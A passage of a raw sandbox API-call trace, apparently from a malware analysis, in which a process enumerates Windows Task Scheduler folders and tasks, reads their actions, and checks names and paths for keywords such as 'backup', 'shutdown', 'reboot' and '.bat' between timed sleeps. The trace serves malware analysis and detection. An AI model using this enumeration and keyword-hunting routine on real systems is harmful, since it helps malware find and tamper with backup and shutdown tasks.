pName=0x5cf9f8*="Calibration Loader") returned 0x0 [0156.335] IRegisteredTask:get_State (in: This=0x2460a68, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0156.336] IUnknown:Release (This=0x2460a68) returned 0x0 [0156.336] IUnknown:Release (This=0x24609d0) returned 0x0 [0156.336] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d0) returned 0x0 [0156.337] ITaskFolderCollection:get_Count (in: This=0x24609d0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0156.337] IUnknown:Release (This=0x24609d0) returned 0x0 [0156.337] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0156.337] IUnknown:Release (This=0x24608d8) returned 0x0 [0156.337] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0156.337] ITaskFolderCollection:get_Item (in: This=0x2460890, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0156.337] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x2460918) returned 0x0 [0156.337] IRegisteredTaskCollection:get_Count (in: This=0x2460918, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0156.337] IUnknown:Release (This=0x2460918) returned 0x0 [0156.337] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x2460918) returned 0x0 [0156.337] ITaskFolderCollection:get_Count (in: This=0x2460918, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=0) returned 0x0 [0156.338] IUnknown:Release (This=0x2460918) returned 0x0 [0156.338] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0156.338] IUnknown:Release (This=0x2460890) returned 0x0 [0156.338] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0156.338] ITaskFolderCollection:get_Item (in: This=0x2460848, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0156.338] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2461f58) returned 0x0 [0156.338] IRegisteredTaskCollection:get_Count (in: This=0x2461f58, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0156.338] IUnknown:Release (This=0x2461f58) returned 0x0 [0156.338] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2460890) returned 0x0 [0156.338] ITaskFolderCollection:get_Count (in: This=0x2460890, pCount=0x5cfa98 | out: pCount=0x5cfa98*=0) returned 0x0 [0156.339] IUnknown:Release (This=0x2460890) returned 0x0 [0156.339] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0156.339] IUnknown:Release (This=0x2460848) returned 0x0 [0156.339] TaskScheduler:IUnknown:Release (This=0x2460090) returned 0x0 [0156.339] TaskScheduler:IUnknown:Release (This=0x2461ed0) returned 0x0 [0156.339] CoUninitialize () [0156.539] Sleep (dwMilliseconds=0xea60) [0166.748] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0166.749] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0167.414] CoCreateInstance (in: rclsid=0xc6050*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc6040*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x5cfaf8 | out: ppv=0x5cfaf8*=0x2460a68) returned 0x0 [0167.425] TaskScheduler:ITaskService:Connect (This=0x2460a68, serverName=0x5cfaa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x5cfab0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x5cfac0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x5cfad0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0167.735] TaskScheduler:ITaskService:GetFolder (in: This=0x2460a68, Path="\\", ppFolder=0x5cfaf4 | out: ppFolder=0x5cfaf4*=0x2460090) returned 0x0 [0167.740] ITaskFolder:GetTasks (in: This=0x2460090, flags=0, ppTasks=0x5cfa94 | out: ppTasks=0x5cfa94*=0x2461ed0) returned 0x0 [0167.741] IRegisteredTaskCollection:get_Count (in: This=0x2461ed0, pCount=0x5cfa70 | out: pCount=0x5cfa70*=0) returned 0x0 [0167.741] IUnknown:Release (This=0x2461ed0) returned 0x0 [0167.741] ITaskFolder:GetFolders (in: This=0x2460090, flags=0, ppFolders=0x5cfad0 | out: ppFolders=0x5cfad0*=0x2461ed0) returned 0x0 [0167.743] ITaskFolderCollection:get_Count (in: This=0x2461ed0, pCount=0x5cfac4 | out: pCount=0x5cfac4*=2) returned 0x0 [0167.743] ITaskFolderCollection:get_Item (in: This=0x2461ed0, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0167.743] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2461f18) returned 0x0 [0167.743] IRegisteredTaskCollection:get_Count (in: This=0x2461f18, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0167.743] IUnknown:Release (This=0x2461f18) returned 0x0 [0167.743] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2461f18) returned 0x0 [0167.744] ITaskFolderCollection:get_Count (in: This=0x2461f18, pCount=0x5cfa98 | out: pCount=0x5cfa98*=2) returned 0x0 [0167.744] ITaskFolderCollection:get_Item (in: This=0x2461f18, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0167.744] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x47fc70) returned 0x0 [0167.744] IRegisteredTaskCollection:get_Count (in: This=0x47fc70, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0167.744] IUnknown:Release (This=0x47fc70) returned 0x0 [0167.744] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x47fc70) returned 0x0 [0167.749] ITaskFolderCollection:get_Count (in: This=0x47fc70, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=45) returned 0x0 [0167.749] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0167.749] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd50) returned 0x0 [0167.752] IRegisteredTaskCollection:get_Count (in: This=0x47fd50, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0167.752] IRegisteredTaskCollection:get_Item (in: This=0x47fd50, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fe28) returned 0x0 [0167.752] IRegisteredTask:get_Name (in: This=0x47fe28, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Automated)") returned 0x0 [0167.752] IRegisteredTask:get_State (in: This=0x47fe28, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0167.755] IUnknown:Release (This=0x47fe28) returned 0x0 [0167.755] IRegisteredTaskCollection:get_Item (in: This=0x47fd50, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fe28) returned 0x0 [0167.755] IRegisteredTask:get_Name (in: This=0x47fe28, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Manual)") returned 0x0 [0167.755] IRegisteredTask:get_State (in: This=0x47fe28, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0167.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x64) returned 0x79d9e8 [0167.758] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="reboot") returned 0x0 [0167.758] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="restart") returned 0x0 [0167.758] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="shutdown") returned 0x0 [0167.758] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="logoff") returned 0x0 [0167.758] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".bat") returned 0x0 [0167.758] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="backup") returned 0x0 [0167.758] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".cmd") returned 0x0 [0167.758] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x79d9e8) returned 1 [0167.759] IRegisteredTask:get_Definition (in: This=0x47fe28, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47ff68) returned 0x0 [0167.766] ITaskDefinition:get_Actions (in: This=0x47ff68, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2462f98) returned 0x0 [0167.767] IActionCollection:get_Count (in: This=0x2462f98, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0167.767] IActionCollection:get_Item (in: This=0x2462f98, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463670) returned 0x0 [0167.767] IAction:get_Type (in: This=0x2463670, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0167.767] IUnknown:Release (This=0x2463670) returned 0x1 [0167.767] IUnknown:Release (This=0x2462f98) returned 0x1 [0167.767] IUnknown:Release (This=0x47ff68) returned 0x0 [0167.767] IUnknown:Release (This=0x47fe28) returned 0x0 [0167.767] IUnknown:Release (This=0x47fd50) returned 0x0 [0167.767] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd50) returned 0x0 [0167.767] ITaskFolderCollection:get_Count (in: This=0x47fd50, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0167.767] IUnknown:Release (This=0x47fd50) returned 0x0 [0167.767] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0167.767] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0167.767] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fcf8) returned 0x0 [0167.768] IRegisteredTaskCollection:get_Count (in: This=0x47fcf8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0167.768] IUnknown:Release (This=0x47fcf8) returned 0x0 [0167.768] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcf8) returned 0x0 [0167.768] ITaskFolderCollection:get_Count (in: This=0x47fcf8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0167.768] IUnknown:Release (This=0x47fcf8) returned 0x0 [0167.768] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0167.768] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0167.768] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd18) returned 0x0 [0167.769] IRegisteredTaskCollection:get_Count (in: This=0x47fd18, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0167.769] IUnknown:Release (This=0x47fd18) returned 0x0 [0167.769] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd18) returned 0x0 [0167.769] ITaskFolderCollection:get_Count (in: This=0x47fd18, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0167.769] IUnknown:Release (This=0x47fd18) returned 0x0 [0167.769] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0167.769] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0167.769] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fcf8) returned 0x0 [0167.770] IRegisteredTaskCollection:get_Count (in: This=0x47fcf8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0167.770] IRegisteredTaskCollection:get_Item (in: This=0x47fcf8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd80) returned 0x0 [0167.770] IRegisteredTask:get_Name (in: This=0x47fd80, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Proxy") returned 0x0 [0167.770] IRegisteredTask:get_State (in: This=0x47fd80, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0167.771] IUnknown:Release (This=0x47fd80) returned 0x0 [0167.771] IUnknown:Release (This=0x47fcf8) returned 0x0 [0167.771] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcf8) returned 0x0 [0167.772] ITaskFolderCollection:get_Count (in: This=0x47fcf8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0167.772] IUnknown:Release (This=0x47fcf8) returned 0x0 [0167.772] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0167.772] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0167.772] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd00) returned 0x0 [0167.772] IRegisteredTaskCollection:get_Count (in: This=0x47fd00, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0167.772] IUnknown:Release (This=0x47fd00) returned 0x0 [0167.772] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0167.772] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0167.772] IUnknown:Release (This=0x47fd00) returned 0x0 [0167.772] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0167.773] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0167.773] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd20) returned 0x0 [0167.773] IRegisteredTaskCollection:get_Count (in: This=0x47fd20, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0167.773] IRegisteredTaskCollection:get_Item (in: This=0x47fd20, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fdc8) returned 0x0 [0167.773] IRegisteredTask:get_Name (in: This=0x47fdc8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask") returned 0x0 [0167.773] IRegisteredTask:get_State (in: This=0x47fdc8, pState=0x5cf9fc | out: pState=0x5cf9fc*=4) returned 0x0 [0167.775] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0167.775] wcsstr (_Str="usertask", _SubStr="reboot") returned 0x0 [0167.775] wcsstr (_Str="usertask", _SubStr="restart") returned 0x0 [0167.775] wcsstr (_Str="usertask", _SubStr="shutdown") returned 0x0 [0167.775] wcsstr (_Str="usertask", _SubStr="logoff") returned 0x0 [0167.775] wcsstr (_Str="usertask", _SubStr=".bat") returned 0x0 [0167.775] wcsstr (_Str="usertask", _SubStr="backup") returned 0x0 [0167.775] wcsstr (_Str="usertask", _SubStr=".cmd") returned 0x0 [0167.775] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0167.775] IRegisteredTask:get_Definition (in: This=0x47fdc8, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe88) returned 0x0 [0168.358] ITaskDefinition:get_Actions (in: This=0x47fe88, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47ff00) returned 0x0 [0168.358] IActionCollection:get_Count (in: This=0x47ff00, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0168.358] IActionCollection:get_Item (in: This=0x47ff00, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636a0) returned 0x0 [0168.359] IAction:get_Type (in: This=0x24636a0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0168.359] IUnknown:Release (This=0x24636a0) returned 0x1 [0168.359] IUnknown:Release (This=0x47ff00) returned 0x1 [0168.359] IUnknown:Release (This=0x47fe88) returned 0x0 [0168.359] IUnknown:Release (This=0x47fdc8) returned 0x0 [0168.359] IRegisteredTaskCollection:get_Item (in: This=0x47fd20, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fdc8) returned 0x0 [0168.359] IRegisteredTask:get_Name (in: This=0x47fdc8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask-Roam") returned 0x0 [0168.359] IRegisteredTask:get_State (in: This=0x47fdc8, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0168.732] IUnknown:Release (This=0x47fdc8) returned 0x0 [0168.732] IUnknown:Release (This=0x47fd20) returned 0x0 [0168.732] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd20) returned 0x0 [0169.545] ITaskFolderCollection:get_Count (in: This=0x47fd20, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0169.545] IUnknown:Release (This=0x47fd20) returned 0x0 [0169.545] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0169.545] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0169.545] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd38) returned 0x0 [0175.035] IRegisteredTaskCollection:get_Count (in: This=0x47fd38, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0175.035] IRegisteredTaskCollection:get_Item (in: This=0x47fd38, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd78) returned 0x0 [0175.035] IRegisteredTask:get_Name (in: This=0x47fd78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Consolidator") returned 0x0 [0175.035] IRegisteredTask:get_State (in: This=0x47fd78, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0175.504] IUnknown:Release (This=0x47fd78) returned 0x0 [0175.504] IUnknown:Release (This=0x47fd38) returned 0x0 [0175.504] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd38) returned 0x0 [0178.099] ITaskFolderCollection:get_Count (in: This=0x47fd38, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0178.099] IUnknown:Release (This=0x47fd38) returned 0x0 [0178.099] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0178.099] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0178.099] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fcf8) returned 0x0 [0178.100] IRegisteredTaskCollection:get_Count (in: This=0x47fcf8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0178.100] IRegisteredTaskCollection:get_Item (in: This=0x47fcf8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd80) returned 0x0 [0178.100] IRegisteredTask:get_Name (in: This=0x47fd80, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ScheduledDefrag") returned 0x0 [0178.100] IRegisteredTask:get_State (in: This=0x47fd80, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0178.102] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3d18 [0178.102] wcsstr (_Str="scheduleddefrag", _SubStr="reboot") returned 0x0 [0178.102] wcsstr (_Str="scheduleddefrag", _SubStr="restart") returned 0x0 [0178.102] wcsstr (_Str="scheduleddefrag", _SubStr="shutdown") returned 0x0 [0178.102] wcsstr (_Str="scheduleddefrag", _SubStr="logoff") returned 0x0 [0178.102] wcsstr (_Str="scheduleddefrag", _SubStr=".bat") returned 0x0 [0178.102] wcsstr (_Str="scheduleddefrag", _SubStr="backup") returned 0x0 [0178.102] wcsstr (_Str="scheduleddefrag", _SubStr=".cmd") returned 0x0 [0178.102] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0178.102] IRegisteredTask:get_Definition (in: This=0x47fd80, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe30) returned 0x0 [0178.534] ITaskDefinition:get_Actions (in: This=0x47fe30, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fea8) returned 0x0 [0178.534] IActionCollection:get_Count (in: This=0x47fea8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0178.534] IActionCollection:get_Item (in: This=0x47fea8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463520) returned 0x0 [0178.534] IAction:get_Type (in: This=0x2463520, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0178.534] IUnknown:QueryInterface (in: This=0x2463520, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463520) returned 0x0 [0178.534] IExecAction:get_Path (in: This=0x2463520, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\defrag.exe") returned 0x0 [0178.534] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c28f0 [0178.534] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="reboot") returned 0x0 [0178.534] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="restart") returned 0x0 [0178.534] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="shutdown") returned 0x0 [0178.534] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="logoff") returned 0x0 [0178.534] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".bat") returned 0x0 [0178.534] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="backup") returned 0x0 [0178.534] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".cmd") returned 0x0 [0178.534] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28f0) returned 1 [0178.534] IExecAction:get_Arguments (in: This=0x2463520, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-c") returned 0x0 [0178.534] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8998 [0178.534] wcsstr (_Str="-c", _SubStr="reboot") returned 0x0 [0178.535] wcsstr (_Str="-c", _SubStr="restart") returned 0x0 [0178.535] wcsstr (_Str="-c", _SubStr="shutdown") returned 0x0 [0178.535] wcsstr (_Str="-c", _SubStr="logoff") returned 0x0 [0178.535] wcsstr (_Str="-c", _SubStr=".bat") returned 0x0 [0178.535] wcsstr (_Str="-c", _SubStr="backup") returned 0x0 [0178.535] wcsstr (_Str="-c", _SubStr=".cmd") returned 0x0 [0178.535] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8998) returned 1 [0178.535] IUnknown:Release (This=0x2463520) returned 0x2 [0178.535] IUnknown:Release (This=0x2463520) returned 0x1 [0178.535] IUnknown:Release (This=0x47fea8) returned 0x1 [0178.535] IUnknown:Release (This=0x47fe30) returned 0x0 [0178.535] IUnknown:Release (This=0x47fd80) returned 0x0 [0178.535] IUnknown:Release (This=0x47fcf8) returned 0x0 [0178.535] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcf8) returned 0x0 [0179.297] ITaskFolderCollection:get_Count (in: This=0x47fcf8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0179.297] IUnknown:Release (This=0x47fcf8) returned 0x0 [0179.297] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0179.297] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0179.297] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fd00) returned 0x0 [0180.454] IRegisteredTaskCollection:get_Count (in: This=0x47fd00, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0180.454] IUnknown:Release (This=0x47fd00) returned 0x0 [0180.454] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0181.508] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0181.508] 